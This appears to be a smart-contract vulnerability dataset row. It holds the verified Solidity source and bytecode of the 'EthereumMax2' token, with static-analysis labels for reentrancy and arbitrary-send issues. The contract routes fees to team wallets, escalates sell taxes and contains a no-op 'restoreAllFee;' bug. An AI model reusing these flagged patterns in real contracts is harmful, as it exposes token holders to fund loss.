838311158290611b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4e9190612d9d565b60405180910390fd5b5060008385611b669190613136565b9050809150509392505050565b7369696902c8e3950ca062527c61e23b8aedb444cb73ffffffffffffffffffffffffffffffffffffffff166108fc611bb560028461204390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611be0573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c3160028461204390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c5c573d6000803e3d6000fd5b5050565b6000600854821115611ca7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9e90612ddf565b60405180910390fd5b6000611cb16120ba565b9050611cc6818461204390919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d2c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d5a5781602001602082028036833780820191505090505b5090503081600081518110611d98577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3a57600080fd5b505afa158015611e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e72919061282f565b81600181518110611eac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f77959493929190612f3a565b600060405180830381600087803b158015611f9157600080fd5b505af1158015611fa5573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611fdb576000905061203d565b60008284611fe991906130dc565b9050828482611ff891906130ab565b14612038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202f90612e5f565b60405180910390fd5b809150505b92915050565b600061208583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120e5565b905092915050565b8061209b5761209a612148565b5b6120a684848461218b565b806120b4576120b3612356565b5b50505050565b60008060006120c761236a565b915091506120de818361204390919063ffffffff16565b9250505090565b6000808311829061212c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121239190612d9d565b60405180910390fd5b506000838561213b91906130ab565b9050809150509392505050565b6000600a5414801561215c57506000600b54145b1561216657612189565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061219d876123cc565b9550955095509550955095506121fb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061229085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122dc816124dc565b6122e68483612599565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123439190612f1f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123a0683635c9adc5dea0000060085461204390919063ffffffff16565b8210156123bf57600854683635c9adc5dea000009350935050506123c8565b81819350935050505b9091565b60008060008060008060008060006123e98a600a54600b546125d3565b92509250925060006123f96120ba565b9050600080600061240c8e878787612669565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061247683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b0f565b905092915050565b600080828461248d9190613055565b9050838110156124d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c990612e1f565b60405180910390fd5b8091505092915050565b60006124e66120ba565b905060006124fd8284611fc890919063ffffffff16565b905061255181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ae8260085461243490919063ffffffff16565b6008819055506125c98160095461247e90919063ffffffff16565b6009819055505050565b6000806000806125ff60646125f1888a611fc890919063ffffffff16565b61204390919063ffffffff16565b90506000612629606461261b888b611fc890919063ffffffff16565b61204390919063ffffffff16565b9050600061265282612644858c61243490919063ffffffff16565b61243490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126828589611fc890919063ffffffff16565b905060006126998689611fc890919063ffffffff16565b905060006126b08789611fc890919063ffffffff16565b905060006126d9826126cb858761243490919063ffffffff16565b61243490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061270561270084612fd4565b612faf565b9050808382526020820190508285602086028201111561272457600080fd5b60005b85811015612754578161273a888261275e565b845260208401935060208301925050600181019050612727565b5050509392505050565b60008135905061276d816135e9565b92915050565b600081519050612782816135e9565b92915050565b600082601f83011261279957600080fd5b81356127a98482602086016126f2565b91505092915050565b6000813590506127c181613600565b92915050565b6000815190506127d681613600565b92915050565b6000813590506127eb81613617565b92915050565b60008151905061280081613617565b92915050565b60006020828403121561281857600080fd5b60006128268482850161275e565b91505092915050565b60006020828403121561284157600080fd5b600061284f84828501612773565b91505092915050565b6000806040838503121561286b57600080fd5b60006128798582860161275e565b925050602061288a8582860161275e565b9150509250929050565b6000806000606084860312156128a957600080fd5b60006128b78682870161275e565b93505060206128c88682870161275e565b92505060406128d9868287016127dc565b9150509250925092565b600080604083850312156128f657600080fd5b60006129048582860161275e565b9250506020612915858286016127dc565b9150509250929050565b60006020828403121561293157600080fd5b600082013567ffffffffffffffff81111561294b57600080fd5b61295784828501612788565b91505092915050565b60006020828403121561297257600080fd5b6000612980848285016127b2565b91505092915050565b60006020828403121561299b57600080fd5b60006129a9848285016127c7565b91505092915050565b6000602082840312156129c457600080fd5b60006129d2848285016127dc565b91505092915050565b6000806000606084860312156129f057600080fd5b60006129fe868287016127f1565b9350506020612a0f868287016127f1565b9250506040612a20868287016127f1565b9150509250925092565b6000612a368383612a42565b60208301905092915050565b612a4b8161316a565b82525050565b612a5a8161316a565b82525050565b6000612a6b82613010565b612a758185613033565b9350612a8083613000565b8060005b83811015612ab1578151612a988882612a2a565b9750612aa383613026565b925050600181019050612a84565b5085935050505092915050565b612ac78161317c565b82525050565b612ad6816131bf565b82525050565b6000612ae78261301b565b612af18185613044565b9350612b018185602086016131d1565b612b0a8161330b565b840191505092915050565b6000612b22602383613044565b9150612b2d8261331c565b604082019050919050565b6000612b45602a83613044565b9150612b508261336b565b604082019050919050565b6000612b68602283613044565b9150612b73826133ba565b604082019050919050565b6000612b8b601b83613044565b9150612b9682613409565b602082019050919050565b6000612bae601d83613044565b9150612bb982613432565b602082019050919050565b6000612bd1602183613044565b9150612bdc8261345b565b604082019050919050565b6000612bf4602083613044565b9150612bff826134aa565b602082019050919050565b6000612c17602983613044565b9150612c22826134d3565b604082019050919050565b6000612c3a602583613044565b9150612c4582613522565b604082019050919050565b6000612c5d602483613044565b9150612c6882613571565b604082019050919050565b6000612c80601783613044565b9150612c8b826135c0565b602082019050919050565b612c9f816131a8565b82525050565b612cae816131b2565b82525050565b6000602082019050612cc96000830184612a51565b92915050565b6000604082019050612ce46000830185612a51565b612cf16020830184612a51565b9392505050565b6000604082019050612d0d6000830185612a51565b612d1a6020830184612c96565b9392505050565b600060c082019050612d366000830189612a51565b612d436020830188612c96565b612d506040830187612acd565b612d5d6060830186612acd565b612d6a6080830185612a51565b612d7760a0830184612c96565b979650505050505050565b6000602082019050612d976000830184612abe565b92915050565b60006020820190508181036000830152612db78184612adc565b905092915050565b60006020820190508181036000830152612dd881612b15565b9050919050565b60006020820190508181036000830152612df881612b38565b9050919050565b60006020820190508181036000830152612e1881612b5b565b9050919050565b60006020820190508181036000830152612e3881612b7e565b9050919050565b60006020820190508181036000830152612e5881612ba1565b9050919050565b60006020820190508181036000830152612e7881612bc4565b9050919050565b60006020820190508181036000830152612e9881612be7565b9050919050565b60006020820190508181036000830152612eb881612c0a565b9050919050565b60006020820190508181036000830152612ed881612c2d565b9050919050565b60006020820190508181036000830152612ef881612c50565b9050919050565b60006020820190508181036000830152612f1881612c73565b9050919050565b6000602082019050612f346000830184612c96565b92915050565b600060a082019050612f4f6000830188612c96565b612f5c6020830187612acd565b8181036040830152612f6e8186612a60565b9050612f7d6060830185612a51565b612f8a6080830184612c96565b9695505050505050565b6000602082019050612fa96000830184612ca5565b92915050565b6000612fb9612fca565b9050612fc58282613204565b919050565b6000604051905090565b600067ffffffffffffffff821115612fef57612fee6132dc565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613060826131a8565b915061306b836131a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130a05761309f61327e565b5b828201905092915050565b60006130b6826131a8565b91506130c1836131a8565b9250826130d1576130d06132ad565b5b828204905092915050565b60006130e7826131a8565b91506130f2836131a8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561312b5761312a61327e565b5b828202905092915050565b6000613141826131a8565b915061314c836131a8565b92508282101561315f5761315e61327e565b5b828203905092915050565b600061317582613188565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131ca826131a8565b9050919050565b60005b838110156131ef5780820151818401526020810190506131d4565b838111156131fe576000848401525b50505050565b61320d8261330b565b810181811067ffffffffffffffff8211171561322c5761322b6132dc565b5b80604052505050565b6000613240826131a8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132735761327261327e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135f28161316a565b81146135fd57600080fd5b50565b6136098161317c565b811461361457600080fd5b50565b613620816131a8565b811461362b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636568747470733a2f2f742e6d652f65526169636875202d2028726169636875636f696e2e636f6d29a26469706673582212206884d7cce7daa069fa5d6d4472cedc750d7a824da67476e813278582ad03366764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,160 |
0x528fd14ba343fd05e49bb6e97c6fa2467a425ca2 | /**
*Submitted for verification at Etherscan.io on 2021-06-10
*/
/*
https://www.reddit.com/user/EthereumMax2/
With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells.
Designed to reward holders and discourage dumping.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract eMAX2 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"EthereumMax2";
string private constant _symbol = "eMax2";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600c81526020017f457468657265756d4d6178320000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f654d617832000000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c